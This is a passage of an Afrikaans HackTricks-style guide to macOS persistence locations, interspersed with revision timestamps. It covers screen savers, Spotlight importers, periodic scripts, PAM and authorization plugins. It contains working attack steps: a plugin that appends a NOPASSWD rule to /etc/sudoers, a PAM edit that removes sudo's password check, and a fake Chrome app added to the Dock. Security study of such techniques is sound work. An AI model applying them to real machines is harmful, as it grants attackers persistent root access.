< string > 6.0< / string >
< key > CFBundlePackageType< / key >
< string > APPL< / string >
< key > CFBundleIconFile< / key >
< string > app< / string >
2023-09-28 21:12:41 +00:00
< / dict >
< / plist >
EOF
# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '< dict > < key > tile-data< / key > < dict > < key > file-data< / key > < dict > < key > _CFURLString< / key > < string > /tmp/Google Chrome.app< / string > < key > _CFURLStringType< / key > < integer > 0< / integer > < / dict > < / dict > < / dict > '
killall Dock
```
2024-02-13 00:50:43 +00:00
### Kleurkiesers
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
Skryf: [https://theevilbit.github.io/beyond/beyond\_0017 ](https://theevilbit.github.io/beyond/beyond\_0017/ )
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
* Nuttig om sandboks te omseil: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-02-11 02:07:06 +00:00
* 'n Baie spesifieke aksie moet plaasvind
2024-02-13 00:50:43 +00:00
* Jy sal in 'n ander sandboks eindig
2024-02-11 02:07:06 +00:00
* TCC omseiling: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-11 02:07:06 +00:00
#### Ligging
2023-09-28 15:09:34 +00:00
2024-01-10 00:59:55 +00:00
* `/Library/ColorPickers`
2024-02-13 00:50:43 +00:00
* Root benodig
2024-02-11 02:07:06 +00:00
* Trigger: Gebruik die kleurkieser
2023-09-28 15:09:34 +00:00
* `~/Library/ColorPickers`
2024-02-11 02:07:06 +00:00
* Trigger: Gebruik die kleurkieser
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
#### Beskrywing & Uitbuiting
2023-09-28 15:09:34 +00:00
2024-03-17 16:40:53 +00:00
**Kompileer 'n kleurkieser** bundel met jou kode (jy kan byvoorbeeld [**hierdie een gebruik** ](https://github.com/viktorstrate/color-picker-plus )) en voeg 'n konstrukteur by (soos in die [Skermbeveiliging afdeling ](macos-auto-start-locations.md#screen-saver )) en kopieer die bundel na `~/Library/ColorPickers` .
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
Dan, wanneer die kleurkieser geaktiveer word, moet jou kode ook geaktiveer word.
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
Let daarop dat die binêre lading van jou biblioteek 'n **baie beperkende sandboks** het: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
[Key] com.apple.security.temporary-exception.sbpl
2024-02-11 02:07:06 +00:00
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))
2023-06-01 21:09:46 +00:00
```
2023-09-28 15:09:34 +00:00
{% endcode %}
2024-02-13 00:50:43 +00:00
### Finder Sync Plugins
2023-09-28 20:05:35 +00:00
2024-02-13 00:50:43 +00:00
**Beskrywing**: [https://theevilbit.github.io/beyond/beyond\_0026/ ](https://theevilbit.github.io/beyond/beyond\_0026/ )\
**Beskrywing**: [https://objective-see.org/blog/blog\_0x11.html ](https://objective-see.org/blog/blog\_0x11.html )
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
* Nuttig om sandboks te omseil: **Nee, omdat jy jou eie program moet uitvoer**
* TCC omseiling: ???
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
#### Ligging
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
* 'n Spesifieke program
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
#### Beskrywing & Uitbuiting
2023-06-01 21:09:46 +00:00
2024-02-13 00:50:43 +00:00
'n Toepassingsvoorbeeld met 'n Finder Sync-uitbreiding [**kan hier gevind word** ](https://github.com/D00MFist/InSync ).
2023-06-01 21:09:46 +00:00
2024-02-13 00:50:43 +00:00
Toepassings kan `Finder Sync-uitbreidings` hê. Hierdie uitbreiding sal binne 'n toepassing gaan wat uitgevoer sal word. Verder moet die uitbreiding sy kode kan uitvoer **onderteken** wees met 'n geldige Apple-ontwikkelaarsertifikaat, dit moet **gesandboks** wees (hoewel ontspanne uitsonderings bygevoeg kan word) en dit moet geregistreer wees met iets soos:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
2023-06-01 21:09:46 +00:00
```
2024-02-11 02:07:06 +00:00
### Skermbeveiliging
2023-09-28 15:09:34 +00:00
2024-02-23 16:45:55 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/ ](https://theevilbit.github.io/beyond/beyond\_0016/ )\
Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b ](https://posts.specterops.io/saving-your-access-d562bf5bf90b )
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
* Nuttig om sandboks te omseil: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-02-13 00:50:43 +00:00
* Maar jy sal in 'n algemene aansoek-sandboks eindig
2024-02-11 02:07:06 +00:00
* TCC omseiling: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-13 00:50:43 +00:00
#### Ligging
2023-09-28 15:09:34 +00:00
2024-01-10 00:59:55 +00:00
* `/System/Library/Screen Savers`
2024-02-23 16:45:55 +00:00
* Vereis root-toegang
2024-02-11 02:07:06 +00:00
* **Trigger**: Kies die skermbeveiliging
2023-09-28 15:09:34 +00:00
* `/Library/Screen Savers`
2024-02-23 16:45:55 +00:00
* Vereis root-toegang
2024-02-11 02:07:06 +00:00
* **Trigger**: Kies die skermbeveiliging
2023-09-28 15:09:34 +00:00
* `~/Library/Screen Savers`
2024-02-11 02:07:06 +00:00
* **Trigger**: Kies die skermbeveiliging
2023-09-28 15:09:34 +00:00
2024-03-17 16:40:53 +00:00
< figure > < img src = "../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt = "" width = "375" > < figcaption > < / figcaption > < / figure >
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
#### Beskrywing & Uitbuiting
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
Skep 'n nuwe projek in Xcode en kies die templaat om 'n nuwe **Skermbeveiliging** te genereer. Voeg dan jou kode daaraan toe, byvoorbeeld die volgende kode om logboeke te genereer.
2023-09-28 15:09:34 +00:00
2024-03-17 16:40:53 +00:00
**Bou** dit, en kopieer die `.saver` bundel na ** `~/Library/Screen Savers` **. Maak dan die Skermbeveiliging GUI oop en as jy net daarop klik, behoort dit baie logboeke te genereer:
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'
Timestamp (process)[PID]
2023-09-27 22:55:39.622369+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char ** )
2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]
```
{% endcode %}
{% hint style="danger" %}
2024-02-13 00:50:43 +00:00
Let wel dat omdat binne die toestemmings van die binêre lading van hierdie kode (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) jy ** `com.apple.security.app-sandbox` ** kan vind, sal jy **binne die algemene aansoek-sandbox** wees.
2023-09-28 15:09:34 +00:00
{% endhint %}
2024-02-13 00:50:43 +00:00
Saver kode:
2023-09-28 15:09:34 +00:00
```objectivec
//
// ScreenSaverExampleView.m
// ScreenSaverExample
//
// Created by Carlos Polop on 27/9/23.
//
#import "ScreenSaverExampleView.h"
@implementation ScreenSaverExampleView
- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
2024-02-11 02:07:06 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
2023-09-28 15:09:34 +00:00
}
- (void)startAnimation
{
2024-02-11 02:07:06 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super startAnimation];
2023-09-28 15:09:34 +00:00
}
- (void)stopAnimation
{
2024-02-11 02:07:06 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super stopAnimation];
2023-09-28 15:09:34 +00:00
}
- (void)drawRect:(NSRect)rect
{
2024-02-11 02:07:06 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super drawRect:rect];
2023-09-28 15:09:34 +00:00
}
- (void)animateOneFrame
{
2024-02-11 02:07:06 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return;
2023-09-28 15:09:34 +00:00
}
- (BOOL)hasConfigureSheet
{
2024-02-11 02:07:06 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return NO;
2023-09-28 15:09:34 +00:00
}
- (NSWindow*)configureSheet
{
2024-02-11 02:07:06 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return nil;
2023-09-28 15:09:34 +00:00
}
__attribute__((constructor))
void custom(int argc, const char **argv) {
2024-02-11 02:07:06 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
2023-09-28 15:09:34 +00:00
}
@end
```
2024-02-11 02:07:06 +00:00
### Spotlight Inproppe
2023-10-01 18:04:16 +00:00
2024-02-13 00:50:43 +00:00
skryf op: [https://theevilbit.github.io/beyond/beyond\_0011/ ](https://theevilbit.github.io/beyond/beyond\_0011/ )
2023-10-01 18:04:16 +00:00
2024-02-23 16:45:55 +00:00
* Nuttig om sander te omseil: [🟠 ](https://emojipedia.org/large-orange-circle )
* Maar jy sal in 'n aansoek-sander eindig
2024-02-13 00:50:43 +00:00
* TCC omseiling: [🔴 ](https://emojipedia.org/large-red-circle )
2024-02-23 16:45:55 +00:00
* Die sander lyk baie beperk
2023-10-01 18:04:16 +00:00
2024-02-11 02:07:06 +00:00
#### Plek
2023-10-01 18:04:16 +00:00
* `~/Library/Spotlight/`
2024-03-17 16:40:53 +00:00
* **Trigger**: 'n Nuwe lêer met 'n uitbreiding wat deur die inprop van die spotlight bestuur word, word geskep.
2023-10-01 18:04:16 +00:00
* `/Library/Spotlight/`
2024-03-17 16:40:53 +00:00
* **Trigger**: 'n Nuwe lêer met 'n uitbreiding wat de inprop van die spotlight bestuur, word geskep.
2024-02-13 00:50:43 +00:00
* Wortel nodig
2023-10-01 18:04:16 +00:00
* `/System/Library/Spotlight/`
2024-03-17 16:40:53 +00:00
* **Trigger**: 'n Nuwe lêer met 'n uitbreiding wat deur die inprop van die spotlight bestuur word, word geskep.
2024-02-13 00:50:43 +00:00
* Wortel nodig
2023-10-01 18:04:16 +00:00
* `Some.app/Contents/Library/Spotlight/`
2024-03-17 16:40:53 +00:00
* **Trigger**: 'n Nuwe lêer met 'n uitbreiding wat deur die inprop van die spotlight bestuur word, word geskep.
2024-02-13 00:50:43 +00:00
* Nuwe aansoek nodig
2023-10-01 18:04:16 +00:00
2024-02-11 02:07:06 +00:00
#### Beskrywing & Uitbuiting
2023-10-01 18:04:16 +00:00
2024-02-11 02:07:06 +00:00
Spotlight is macOS se ingeboude soekfunksie, ontwerp om gebruikers **vinnige en omvattende toegang tot data op hul rekenaars** te bied.\
2024-02-13 00:50:43 +00:00
Om hierdie vinnige soekvermoë te fasiliteer, handhaaf Spotlight 'n **eiendomlike databasis** en skep 'n indeks deur **meeste lêers te ontleden** , wat vinnige soektogte deur beide lêernaam en hul inhoud moontlik maak.
2023-10-01 18:04:16 +00:00
2024-03-17 16:40:53 +00:00
Die onderliggende meganisme van Spotlight behels 'n sentrale proses genaamd 'mds', wat staan vir ** 'metadata bediener'**. Hierdie proses orkestreer die hele Spotlight-diens. Daar is ook verskeie 'mdworker' duiwels wat 'n verskeidenheid instandhoudingstake uitvoer, soos die indeksering van verskillende lêertipes (`ps -ef | grep mdworker`). Hierdie take word moontlik gemaak deur Spotlight-invoerder-inproppe, of ** ".mdimporter bundels**", wat Spotlight in staat stel om inhoud oor 'n diverse reeks lêerformate te verstaan en te indekseer.
2023-10-01 18:04:16 +00:00
2024-02-23 16:45:55 +00:00
Die inproppe of ** `.mdimporter` ** bundels is geleë op die vooraf genoemde plekke en as 'n nuwe bundel verskyn, word dit binne minute gelaai (geen diens herlaaiing nodig nie). Hierdie bundels moet aandui watter **lêertipe en uitbreidings hulle kan bestuur** , op hierdie manier sal Spotlight hulle gebruik wanneer 'n nuwe lêer met die aangeduide uitbreiding geskep word.
2023-10-01 18:04:16 +00:00
2024-02-13 00:50:43 +00:00
Dit is moontlik om **alle die `mdimporters`** wat gelaai is, te vind deur te hardloop:
2023-10-01 18:04:16 +00:00
```bash
mdimport -L
Paths: id(501) (
2024-02-11 02:07:06 +00:00
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]
2023-10-01 18:04:16 +00:00
```
2024-02-11 02:07:06 +00:00
En byvoorbeeld ** /Library/Spotlight/iBooksAuthor.mdimporter** word gebruik om hierdie tipe lêers te ontled (uitbreidings `.iba` en `.book` onder andere):
2023-10-01 18:04:16 +00:00
```json
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...]
"CFBundleDocumentTypes" => [
2024-02-11 02:07:06 +00:00
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
2023-10-01 18:04:16 +00:00
[...]
2024-02-11 02:07:06 +00:00
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
2023-10-01 18:04:16 +00:00
[...]
```
{% hint style="danger" %}
2024-03-17 16:40:53 +00:00
As jy die Plist van ander `mdimporter` nagaan, mag jy nie die inskrywing ** `UTTypeConformsTo` ** vind nie. Dit is omdat dit 'n ingeboude _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) is en dit hoef nie lêerspesifikasies te spesifiseer nie.
2023-10-01 18:04:16 +00:00
2024-03-17 16:40:53 +00:00
Verder het stelselverstekproppe altyd voorrang, so 'n aanvaller kan slegs by lêers kom wat nie andersins deur Apple se eie `mdimporters` geïndekseer word nie.
2023-10-01 18:04:16 +00:00
{% endhint %}
2024-03-17 16:40:53 +00:00
Om jou eie invoerder te skep, kan jy met hierdie projek begin: [https://github.com/megrimm/pd-spotlight-importer ](https://github.com/megrimm/pd-spotlight-importer ) en dan die naam verander, die ** `CFBundleDocumentTypes` ** verander en ** `UTImportedTypeDeclarations` ** byvoeg sodat dit die lêerspesifikasies ondersteun wat jy wil ondersteun en dit in ** `schema.xml` ** weerspieël.\
Verander dan die kode van die funksie ** `GetMetadataForFile` ** om jou lading uit te voer wanneer 'n lêer met die verwerkte lêerspesifikasie geskep word.
2023-10-01 18:04:16 +00:00
2024-03-17 16:40:53 +00:00
Laastens **bou en kopieer jou nuwe `.mdimporter`** na een van die vorige liggings en jy kan nagaan wanneer dit gelaai word deur die **logs te monitor** of deur ** `mdimport -L` ** te kontroleer.
2023-10-01 18:04:16 +00:00
2024-02-11 02:07:06 +00:00
### ~~Voorkeurpaneel~~
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="danger" %}
2024-03-17 16:40:53 +00:00
Dit lyk nie of dit nog werk nie.
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
Verslag: [https://theevilbit.github.io/beyond/beyond\_0009/ ](https://theevilbit.github.io/beyond/beyond\_0009/ )
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
* Nuttig om sandboks te omseil: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-03-17 16:40:53 +00:00
* Dit vereis 'n spesifieke gebruikeraksie
2024-02-13 00:50:43 +00:00
* TCC omseiling: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
#### Ligging
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`/System/Library/PreferencePanes`**
* **`/Library/PreferencePanes`**
* **`~/Library/PreferencePanes`**
2023-06-01 21:09:46 +00:00
2024-02-11 02:07:06 +00:00
#### Beskrywing
2023-06-01 21:09:46 +00:00
2024-03-17 16:40:53 +00:00
Dit lyk nie of dit nog werk nie.
2023-06-01 21:09:46 +00:00
2024-02-13 00:50:43 +00:00
## Root Sandboks Omseiling
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="success" %}
2024-02-23 16:45:55 +00:00
Hier kan jy beginliggings vind wat nuttig is vir **sandboks omseiling** wat jou in staat stel om eenvoudig iets uit te voer deur dit **in 'n lêer te skryf** terwyl jy **root** is en/of ander **vreemde toestande benodig.**
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
### Periodiek
2023-06-01 21:09:46 +00:00
2024-02-11 02:07:06 +00:00
Verslag: [https://theevilbit.github.io/beyond/beyond\_0019/ ](https://theevilbit.github.io/beyond/beyond\_0019/ )
2023-09-26 23:39:35 +00:00
2024-02-13 00:50:43 +00:00
* Nuttig om sandboks te omseil: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-02-11 02:07:06 +00:00
* Maar jy moet root wees
2024-02-13 00:50:43 +00:00
* TCC omseiling: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-26 23:39:35 +00:00
2024-02-11 02:07:06 +00:00
#### Ligging
2023-09-26 23:39:35 +00:00
2023-09-28 20:05:35 +00:00
* `/etc/periodic/daily` , `/etc/periodic/weekly` , `/etc/periodic/monthly` , `/usr/local/etc/periodic`
2024-02-13 00:50:43 +00:00
* Root benodig
2024-02-11 02:07:06 +00:00
* **Trigger**: Wanneer die tyd aanbreek
* `/etc/daily.local` , `/etc/weekly.local` of `/etc/monthly.local`
2024-02-13 00:50:43 +00:00
* Root benodig
2024-02-11 02:07:06 +00:00
* **Trigger**: Wanneer die tyd aanbreek
2023-06-01 21:09:46 +00:00
2024-02-11 02:07:06 +00:00
#### Beskrywing & Uitbuiting
2023-09-28 15:09:34 +00:00
2024-02-23 16:45:55 +00:00
Die periodieke skripte (**`/etc/periodic`**) word uitgevoer as gevolg van die **aanvangsdemone** wat gekonfigureer is in `/System/Library/LaunchDaemons/com.apple.periodic*` . Let daarop dat skripte wat in `/etc/periodic/` gestoor word, as die **eienaar van die lêer** uitgevoer word, so dit sal nie werk vir 'n potensiële voorregskalering nie.
2023-09-28 20:05:35 +00:00
{% code overflow="wrap" %}
```bash
# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r-- 1 root wheel 887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r-- 1 root wheel 895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r-- 1 root wheel 891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x 11 root wheel 352 May 13 00:29 daily
drwxr-xr-x 5 root wheel 160 May 13 00:29 monthly
drwxr-xr-x 3 root wheel 96 May 13 00:29 weekly
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
/etc/periodic/daily:
total 72
-rwxr-xr-x 1 root wheel 1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x 1 root wheel 695 May 13 00:29 130.clean-msgs
[...]
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
/etc/periodic/monthly:
total 24
-rwxr-xr-x 1 root wheel 888 May 13 00:29 199.rotate-fax
-rwxr-xr-x 1 root wheel 1010 May 13 00:29 200.accounting
-rwxr-xr-x 1 root wheel 606 May 13 00:29 999.local
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
/etc/periodic/weekly:
total 8
-rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local
2023-06-01 21:09:46 +00:00
```
2023-09-28 20:05:35 +00:00
{% endcode %}
2023-06-01 21:09:46 +00:00
2024-02-11 02:07:06 +00:00
Daar is ander periodieke skripte wat uitgevoer sal word soos aangedui in ** `/etc/defaults/periodic.conf` **:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local" # Local scripts
weekly_local="/etc/weekly.local" # Local scripts
monthly_local="/etc/monthly.local" # Local scripts
2023-06-01 21:09:46 +00:00
```
2024-02-13 00:50:43 +00:00
Indien jy enige van die lêers `/etc/daily.local` , `/etc/weekly.local` of `/etc/monthly.local` kan skryf, sal dit **vroeër of later uitgevoer word** .
2023-09-28 15:09:34 +00:00
2023-11-02 16:52:21 +00:00
{% hint style="warning" %}
2024-03-17 16:40:53 +00:00
Let daarop dat die periodieke skripsie **uitgevoer sal word as die eienaar van die skripsie** . As 'n gewone gebruiker die skripsie besit, sal dit as daardie gebruiker uitgevoer word (dit kan voorregskaleringaanvalle voorkom).
2023-11-02 16:52:21 +00:00
{% endhint %}
2023-09-28 20:05:35 +00:00
### PAM
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
Writeup: [Linux Hacktricks PAM ](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md )\
Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/ ](https://theevilbit.github.io/beyond/beyond\_0005/ )
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
* Nuttig om sandboks te omseil: [🟠 ](https://emojipedia.org/large-orange-circle )
* Maar jy moet 'n root wees
2024-02-13 00:50:43 +00:00
* TCC omseiling: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
#### Ligging
2023-09-28 20:05:35 +00:00
2024-02-13 00:50:43 +00:00
* Root altyd vereis
2023-09-28 20:05:35 +00:00
2024-02-11 02:07:06 +00:00
#### Beskrywing & Uitbuiting
2023-09-28 20:05:35 +00:00
2024-02-13 00:50:43 +00:00
Aangesien PAM meer gefokus is op **volharding** en kwaadwillige sagteware as op maklike uitvoering binne macOS, sal hierdie blog nie 'n gedetailleerde verduideliking gee nie, **lees die skrywes om hierdie tegniek beter te verstaan** .
2023-11-02 16:52:21 +00:00
2024-02-11 02:07:06 +00:00
Kontroleer PAM-modules met:
2023-11-02 16:52:21 +00:00
```bash
ls -l /etc/pam.d
```
2024-03-17 16:40:53 +00:00
'n Volharding/privilege-escalation tegniek wat PAM misbruik is so maklik soos om die module /etc/pam.d/sudo te wysig deur die lyn aan die begin by te voeg:
2023-11-02 16:52:21 +00:00
```bash
auth sufficient pam_permit.so
```
2024-02-13 00:50:43 +00:00
So dit sal **lyk soos** iets soos dit:
2023-11-02 16:52:21 +00:00
```bash
# sudo: auth account password session
auth sufficient pam_permit.so
auth include sudo_local
auth sufficient pam_smartcard.so
auth required pam_opendirectory.so
account required pam_permit.so
password required pam_deny.so
session required pam_permit.so
```
2024-02-23 16:45:55 +00:00
En dus sal enige poging om ** `sudo` te gebruik** werk.
2023-11-02 16:52:21 +00:00
{% hint style="danger" %}
2024-03-17 16:40:53 +00:00
Let wel dat hierdie gids deur TCC beskerm word, so dit is baie waarskynlik dat die gebruiker 'n versoek om toegang sal kry.
2023-11-02 16:52:21 +00:00
{% endhint %}
2024-02-11 02:07:06 +00:00
### Magtigingsinvoegtoepassings
2023-09-28 20:05:35 +00:00
2024-02-11 02:07:06 +00:00
Verslag: [https://theevilbit.github.io/beyond/beyond\_0028/ ](https://theevilbit.github.io/beyond/beyond\_0028/ )\
Verslag: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65 ](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65 )
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
* Nuttig om sandboks te omseil: [🟠 ](https://emojipedia.org/large-orange-circle )
* Maar jy moet 'n root wees en ekstra konfigurasies maak
2024-03-17 16:40:53 +00:00
* TCC-omseiling: ???
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
#### Ligging
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* `/Library/Security/SecurityAgentPlugins/`
2024-02-13 00:50:43 +00:00
* Root benodig
2024-02-11 02:07:06 +00:00
* Dit is ook nodig om die magtigingsdatabasis te konfigureer om die invoegtoepassing te gebruik
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
#### Beskrywing & Uitbuiting
2023-09-28 20:05:35 +00:00
2024-03-17 16:40:53 +00:00
Jy kan 'n magtigingsinvoegtoepassing skep wat uitgevoer sal word wanneer 'n gebruiker aanmeld om volharding te behou. Vir meer inligting oor hoe om een van hierdie invoegtoepassings te skep, kyk na die vorige verslae (en wees versigtig, 'n swak geskrewe een kan jou buite sluit en jy sal jou Mac van herstelmodus moet skoonmaak).
2023-11-03 11:03:53 +00:00
```objectivec
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/
#import <Foundation/Foundation.h>
__attribute__((constructor)) static void run()
{
2024-02-11 02:07:06 +00:00
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
2023-11-03 11:03:53 +00:00
}
```
2024-02-23 16:45:55 +00:00
**Skuif** die bondel na die plek om gelaai te word:
2023-11-03 11:03:53 +00:00
```bash
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
```
2024-02-13 00:50:43 +00:00
Voeg uiteindelik die **reël** by om hierdie Inprop te laai:
2023-11-03 11:03:53 +00:00
```bash
cat > /tmp/rule.plist < < EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-11 02:07:06 +00:00
< key > class< / key >
< string > evaluate-mechanisms< / string >
< key > mechanisms< / key >
< array >
< string > CustomAuth:login,privileged< / string >
< / array >
< / dict >
2023-11-03 11:03:53 +00:00
< / plist >
EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
```
2024-02-13 00:50:43 +00:00
Die ** `evaluate-mechanisms` ** sal die toestemmingsraamwerk vertel dat dit 'n **eksterne meganisme vir toestemming moet aanroep** . Verder sal ** `privileged` ** dit laat uitvoer word deur root.
2023-11-03 11:03:53 +00:00
2024-02-13 00:50:43 +00:00
Skakel dit aan met:
2023-11-03 11:03:53 +00:00
```bash
security authorize com.asdf.asdf
```
2024-02-13 00:50:43 +00:00
En dan moet die **personeelgroep sudo-toegang** hê (lees `/etc/sudoers` om te bevestig).
2023-11-03 11:03:53 +00:00
2023-09-28 20:05:35 +00:00
### Man.conf
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/ ](https://theevilbit.github.io/beyond/beyond\_0030/ )
2023-06-01 21:09:46 +00:00
2024-02-13 00:50:43 +00:00
* Nuttig om sandboks te omseil: [🟠 ](https://emojipedia.org/large-orange-circle )
* Maar jy moet 'n root wees en die gebruiker moet man gebruik
* TCC omseiling: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
#### Ligging
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`/private/etc/man.conf`**
2024-02-13 00:50:43 +00:00
* Root benodig
* **`/private/etc/man.conf`**: Telkens wanneer man gebruik word
2023-06-01 21:09:46 +00:00
2024-02-11 02:07:06 +00:00
#### Beskrywing & Uitbuiting
2023-06-01 21:09:46 +00:00
2024-02-13 00:50:43 +00:00
Die konfigurasie lêer ** `/private/etc/man.conf` ** dui die binêre/skripsie aan om te gebruik wanneer man dokumentasie lêers oopmaak. Dus kan die pad na die uitvoerbare lêer gewysig word sodat elke keer as die gebruiker man gebruik om 'n paar dokumente te lees, 'n agterdeur uitgevoer word.
